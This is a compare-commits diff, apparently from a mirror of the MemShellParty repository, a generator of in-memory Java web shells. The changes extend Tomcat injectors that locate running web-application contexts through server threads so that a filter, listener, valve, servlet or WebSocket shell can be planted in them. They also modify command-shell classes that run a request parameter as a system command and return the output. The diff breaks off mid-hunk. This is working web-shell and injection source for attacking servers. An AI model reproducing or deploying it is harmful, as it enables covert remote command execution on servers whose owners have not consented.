mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7f176dd443 | ||
|
|
43c410e653 | ||
|
|
b9efe6dac5 | ||
|
|
930edbc8b0 | ||
|
|
0f473311f9 | ||
|
|
b412e9206d | ||
|
|
d9205aaff7 | ||
|
|
4dda9236ca | ||
|
|
694e60bd23 | ||
|
|
25ffe5bb14 | ||
|
|
e9265b52f5 | ||
|
|
e872e0cd06 | ||
|
|
b6219628ae | ||
|
|
0d1fab8740 | ||
|
|
e9fb20fa07 | ||
|
|
97e365e935 | ||
|
|
75e3ed595a | ||
|
|
ab4ad88d6e | ||
|
|
9abea930b3 | ||
|
|
ab8773b177 | ||
|
|
0de0efef9c | ||
|
|
3d5851f3ae | ||
|
|
9c298a2303 | ||
|
|
b846f67c34 | ||
|
|
1e5f7dd281 |
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.7"
|
id("org.springframework.boot") version "3.5.8"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -21,6 +21,8 @@ configurations {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
|||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(true)
|
publishToMavenCentral()
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.4.0"
|
version = "2.4.1"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java-library")
|
||||||
alias(libs.plugins.lombok)
|
alias(libs.plugins.lombok)
|
||||||
id("maven-publish-convention")
|
id("maven-publish-convention")
|
||||||
}
|
}
|
||||||
@@ -29,17 +29,16 @@ tasks.test {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":packer"))
|
implementation(project(":packer"))
|
||||||
implementation(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.jackson.annotations)
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
implementation(libs.bcel)
|
|
||||||
implementation(libs.jackson.databind)
|
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testImplementation(libs.hamcrest)
|
testImplementation(libs.hamcrest)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
*/
|
*/
|
||||||
private String template;
|
private String template;
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -22,8 +22,8 @@ public final class ProcessorRegistry {
|
|||||||
);
|
);
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
new ShrinkPostProcessor(),
|
new JettyHandlerPostProcessor(),
|
||||||
new JettyHandlerPostProcessor()
|
new ShrinkPostProcessor()
|
||||||
);
|
);
|
||||||
|
|
||||||
private ProcessorRegistry() {
|
private ProcessorRegistry() {
|
||||||
|
|||||||
+1
-1
@@ -80,7 +80,7 @@ public class ApusicFilterInjector {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* context: com.apusic.web.container.WebContainer
|
* context: com.apusic.web.container.WebContainer
|
||||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||||
* /usr/local/ass/lib/apusic.jar
|
* /usr/local/ass/lib/apusic.jar
|
||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
|
|||||||
+13
-1
@@ -84,12 +84,24 @@ public class TomcatFilterInjector {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
+14
-2
@@ -71,15 +71,27 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
+13
-1
@@ -100,12 +100,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
+13
-1
@@ -81,12 +81,24 @@ public class TomcatServletInjector {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
+13
-1
@@ -80,12 +80,24 @@ public class TomcatUpgradeInjector {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
+13
-1
@@ -74,12 +74,24 @@ public class TomcatValveInjector {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
+15
-3
@@ -80,12 +80,24 @@ public class TomcatWebSocketInjector {
|
|||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
String threadName = thread.getName();
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
|||||||
@@ -27,6 +27,8 @@ public class Command {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+4
-6
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+4
-6
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+5
-7
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
}
|
}
|
||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
|
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+4
-6
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
